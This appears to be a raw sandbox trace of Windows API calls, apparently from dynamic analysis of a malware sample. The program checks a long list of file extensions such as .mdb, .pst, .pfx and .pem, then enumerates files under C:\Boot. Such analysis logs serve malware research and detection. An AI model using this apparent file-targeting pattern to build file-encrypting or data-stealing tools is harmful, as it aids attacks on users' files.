lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".lgp") returned 4 [0087.878] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".log") returned 4 [0087.878] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".m1v") returned 4 [0087.878] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".m4a") returned 4 [0087.878] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".m4v") returned 4 [0087.878] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".max") returned 4 [0087.878] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".md") returned 3 [0087.878] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0087.878] lstrlenW (lpString=".mda") returned 4 [0087.878] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".mdb") returned 4 [0087.878] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".mde") returned 4 [0087.878] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".mdf") returned 4 [0087.878] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0087.878] lstrlenW (lpString=".mdw") returned 4 [0087.878] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mef") returned 4 [0087.879] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mft") returned 4 [0087.879] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mfw") returned 4 [0087.879] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mht") returned 4 [0087.879] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mhtml") returned 6 [0087.879] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0087.879] lstrlenW (lpString=".mka") returned 4 [0087.879] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mkidx") returned 6 [0087.879] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0087.879] lstrlenW (lpString=".mkv") returned 4 [0087.879] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mos") returned 4 [0087.879] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mov") returned 4 [0087.879] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mp3") returned 4 [0087.879] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mp4") returned 4 [0087.879] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0087.879] lstrlenW (lpString=".mpeg") returned 5 [0087.879] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0087.879] lstrlenW (lpString=".mpg") returned 4 [0087.880] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0087.880] lstrlenW (lpString=".mpv") returned 4 [0087.880] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0087.880] lstrlenW (lpString=".mrw") returned 4 [0087.880] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0087.880] lstrlenW (lpString=".msg") returned 4 [0087.880] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0087.880] lstrlenW (lpString=".mxl") returned 4 [0087.880] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".myd") returned 4 [0087.880] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".myi") returned 4 [0087.880] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".nef") returned 4 [0087.880] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".nrw") returned 4 [0087.880] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".obj") returned 4 [0087.880] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".odb") returned 4 [0087.880] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".odc") returned 4 [0087.880] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".odm") returned 4 [0087.880] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0087.880] lstrlenW (lpString=".odp") returned 4 [0087.880] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".ods") returned 4 [0087.881] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".oft") returned 4 [0087.881] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".one") returned 4 [0087.881] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".onepkg") returned 7 [0087.881] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0087.881] lstrlenW (lpString=".onetoc2") returned 8 [0087.881] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0087.881] lstrlenW (lpString=".opt") returned 4 [0087.881] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".oqy") returned 4 [0087.881] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".orf") returned 4 [0087.881] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".p12") returned 4 [0087.881] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0087.881] lstrlenW (lpString=".p7b") returned 4 [0087.882] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".p7c") returned 4 [0087.882] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pam") returned 4 [0087.882] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pbm") returned 4 [0087.882] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pct") returned 4 [0087.882] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pcx") returned 4 [0087.882] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pdd") returned 4 [0087.882] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pdf") returned 4 [0087.882] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pdp") returned 4 [0087.882] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pef") returned 4 [0087.882] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pem") returned 4 [0087.882] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0087.882] lstrlenW (lpString=".pff") returned 4 [0087.883] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0087.883] lstrlenW (lpString=".pfm") returned 4 [0087.883] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0087.883] lstrlenW (lpString=".pfx") returned 4 [0087.883] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0087.883] lstrlenW (lpString=".pgm") returned 4 [0087.883] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0087.883] lstrlenW (lpString=".php") returned 4 [0087.883] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0087.883] lstrlenW (lpString=".php3") returned 5 [0087.883] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0087.883] lstrlenW (lpString=".php4") returned 5 [0087.883] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0087.883] lstrlenW (lpString=".php5") returned 5 [0087.883] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0087.883] lstrlenW (lpString=".phtml") returned 6 [0087.883] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0087.883] lstrlenW (lpString=".pict") returned 5 [0087.883] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0087.883] lstrlenW (lpString=".pl") returned 3 [0087.883] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0087.883] lstrlenW (lpString=".pls") returned 4 [0087.883] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0087.883] lstrlenW (lpString=".pm") returned 3 [0087.883] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0087.883] lstrlenW (lpString=".png") returned 4 [0087.884] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".pnm") returned 4 [0087.884] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".pot") returned 4 [0087.884] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".potm") returned 5 [0087.884] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0087.884] lstrlenW (lpString=".potx") returned 5 [0087.884] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0087.884] lstrlenW (lpString=".ppa") returned 4 [0087.884] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".ppam") returned 5 [0087.884] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0087.884] lstrlenW (lpString=".ppm") returned 4 [0087.884] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".pps") returned 4 [0087.884] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".ppsm") returned 5 [0087.884] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0087.884] lstrlenW (lpString=".ppt") returned 4 [0087.884] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.884] lstrlenW (lpString=".pptm") returned 5 [0087.884] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0087.884] lstrlenW (lpString=".pptx") returned 5 [0087.884] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0087.884] lstrlenW (lpString=".prn") returned 4 [0087.885] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".ps") returned 3 [0087.885] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0087.885] lstrlenW (lpString=".psb") returned 4 [0087.885] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".psd") returned 4 [0087.885] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".pst") returned 4 [0087.885] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".ptx") returned 4 [0087.885] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".pub") returned 4 [0087.885] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".pwm") returned 4 [0087.885] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".pxr") returned 4 [0087.885] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0087.885] lstrlenW (lpString=".py") returned 3 [0087.885] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0087.885] lstrlenW (lpString=".qt") returned 3 [0087.885] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0087.885] lstrlenW (lpString=".r3d") returned 4 [0087.885] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0087.885] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.886] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.886] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0087.892] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.892] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0087.892] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.892] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0087.892] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.892] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.893] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.893] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.893] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0087.893] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.893] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0087.893] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.893] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260190 [0087.894] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.894] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.894] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.894] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0087.894] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0087.895] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.895] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0087.895] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.895] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0087.896] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.896] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.896] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0087.896] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0087.896] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0087.896] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.896] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0087.896] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0087.896] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.896] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0087.897] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0087.897] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, 